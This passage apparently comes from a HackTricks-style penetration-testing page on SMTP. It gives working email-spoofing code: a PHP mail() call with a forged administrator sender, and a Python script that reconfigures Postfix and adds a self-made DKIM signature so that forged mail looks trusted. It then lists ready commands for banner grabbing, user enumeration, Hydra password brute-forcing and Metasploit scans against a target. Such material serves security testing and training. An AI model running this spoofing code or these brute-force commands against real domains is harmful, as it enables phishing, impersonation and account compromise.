    621 <pre class="language-php"><code class="lang-php"><strong># This will send an unsigned message
    622 </strong><strong>mail("your_email@gmail.com", "Test Subject!", "hey! This is a test", "From: administrator@victim.com");
    623 </strong></code></pre>
    624 
    625 ### Python
    626 ```python
    627 # Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.py
    628 
    629 import os
    630 import dkim #pip3 install dkimpy
    631 import smtplib
    632 from email.mime.multipart import MIMEMultipart
    633 from email.mime.text import MIMEText
    634 from email.mime.base import MIMEBase
    635 
    636 # Set params
    637 destination="destination@gmail.com"
    638 sender="administrator@victim.com"
    639 subject="Test"
    640 message_html="""
    641 <html>
    642 	<body>
    643 		<h3>This is a test, not a scam</h3>
    644 		<br />
    645 	</body>
    646 </html>
    647 """
    648 sender_domain=sender.split("@")[1]
    649 
    650 # Prepare postfix
    651 os.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")
    652 os.system("systemctl restart postfix")
    653 
    654 # Generate DKIM keys
    655 dkim_private_key_path="dkimprivatekey.pem"
    656 os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")
    657 with open(dkim_private_key_path) as fh:
    658     dkim_private_key = fh.read()
    659 
    660 # Generate email
    661 msg = MIMEMultipart("alternative")
    662 msg.attach(MIMEText(message_html, "html"))
    663 msg["To"] = destination
    664 msg["From"] = sender
    665 msg["Subject"] = subject
    666 headers = [b"To", b"From", b"Subject"]
    667 msg_data = msg.as_bytes()
    668 
    669 # Sign email with dkim
    670 ## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)
    671 dkim_selector="s1"
    672 sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)
    673 msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()
    674 msg_data = msg.as_bytes()
    675 
    676 # Use local postfix relay to send email
    677 smtp="127.0.0.1"
    678 s = smtplib.SMTP(smtp)
    679 s.sendmail(sender, [destination], msg_data)
    680 ```
    681 
    682 
    683 ### **More info**
    684 
    685 **Find more information about these protections in** [**https://seanthegeek.net/459/demystifying-dmarc/**](https://seanthegeek.net/459/demystifying-dmarc/)<sup>[[8]](#references)</sup>
    686 
    687 ### **Other phishing indicators**
    688 
    689 - Domain’s age
    690 - Links pointing to IP addresses
    691 - Link manipulation techniques
    692 - Suspicious (uncommon) attachments
    693 - Broken email content
    694 - Values used that are different to those of the mail headers
    695 - Existence of a valid and trusted SSL certificate
    696 - Submission of the page to web content filtering sites
    697 
    698 ## Exfiltration through SMTP
    699 
    700 **If you can send data via SMTP** [**read this**](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-hacking/exfiltration.md#smtp)**.**
    701 
    702 ## Config file
    703 
    704 ### Postfix
    705 
    706 When Postfix is installed, `/etc/postfix/master.cf` may define **scripts to execute** as part of mail handling. For example, `flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient}` runs `/etc/postfix/filtering` when a new message is received for user `mark`.
    707 
    708 Other config files:
    709 
    710 ```text
    711 sendmail.cf
    712 submit.cf
    713 ```
    714 
    715 ## HackTricks Automatic Commands
    716 
    717 ```text
    718 Protocol_Name: SMTP    #Protocol Abbreviation if there is one.
    719 Port_Number:  25,465,587     #Comma separated if there is more than one.
    720 Protocol_Description: Simple Mail Transfer Protocol          #Protocol Abbreviation Spelled out
    721 
    722 Entry_1:
    723   Name: Notes
    724   Description: Notes for SMTP
    725   Note: |
    726     SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
    727 
    728     https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smtp/index.html
    729 
    730 Entry_2:
    731   Name: Banner Grab
    732   Description: Grab SMTP Banner
    733   Command: nc -vn {IP} 25
    734 
    735 Entry_3:
    736   Name: SMTP Vuln Scan
    737   Description: SMTP Vuln Scan With Nmap
    738   Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}
    739 
    740 Entry_4:
    741   Name: SMTP User Enum
    742   Description: Enumerate uses with smtp-user-enum
    743   Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}
    744 
    745 Entry_5:
    746   Name: SMTPS Connect
    747   Description: Attempt to connect to SMTPS two different ways
    748   Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587
    749 
    750 Entry_6:
    751   Name: Find MX Servers
    752   Description: Find MX servers of an organization
    753   Command: dig +short mx {Domain_Name}
    754 
    755 Entry_7:
    756   Name: Hydra Brute Force
    757   Description: Need Nothing
    758   Command: hydra -P {Big_Passwordlist} {IP} smtp -V
    759 
    760 Entry_8:
    761   Name: consolesless mfs enumeration
    762   Description: SMTP enumeration without the need to run msfconsole
    763   Note: sourced from https://github.com/carlospolop/legion
    764   Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
    765 
    766 ```
    767 
    768 ## References
    769 
    770 - [1] [XBOW – Dead.Letter (CVE-2026-45185): How XBOW Found an Unauthenticated RCE on Exim](https://xbow.com/blog/dead-letter-cve-2026-45185-xbow-found-rce-exim)
    771 - [2] [RFC 3030 – SMTP Service Extensions for Transmission of Large and Binary MIME Messages](https://datatracker.ietf.org/doc/html/rfc3030)
    772 - [3] [Username Enumeration Techniques and their Value](https://research.nccgroup.com/2015/06/10/username-enumeration-techniques-and-their-value/)
    773 - [4] [0xdf – HTB/VulnLab JobTwo: Word VBA macro phishing via SMTP → hMailServer credential decryption → Veeam CVE-2023-27532 to SYSTEM](https://0xdf.gitlab.io/2026/01/27/htb-jobtwo.html)
    774 - [5] [The Silent Inbox: How Verified Emails Slip Past Email Security Gateways](https://21ad.netlify.app/blogs/the-silent-inbox-how-verified-emails-slip-past-email-security-gateways/)
    775 - [6] [Internal Information Disclosure using Hidden NTLM Authentication](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666)
    776 - [7] [Postfix – SMTP relay and access control](https://www.postfix.org/SMTPD_ACCESS_README.html)
    777 - [8] [seanthegeek.net - 459 - Demystifying Dmarc](https://seanthegeek.net/459/demystifying-dmarc)
    778 - [9] [RFC 5321 – Simple Mail Transfer Protocol](https://www.rfc-editor.org/rfc/rfc5321)
    779 - [10] [RFC 8314 – Cleartext Considered Obsolete: Use of TLS for Email Submission and Access](https://www.rfc-editor.org/rfc/rfc8314)
    780 - [11] [RFC 7208 – Sender Policy Framework (SPF)](https://www.rfc-editor.org/rfc/rfc7208)
    781 - [12] [RFC 6376 – DomainKeys Identified Mail (DKIM) Signatures](https://www.rfc-editor.org/rfc/rfc6376)
    782 - [13] [RFC 7489 – Domain-based Message Authentication, Reporting, and Conformance (DMARC)](https://www.rfc-editor.org/rfc/rfc7489)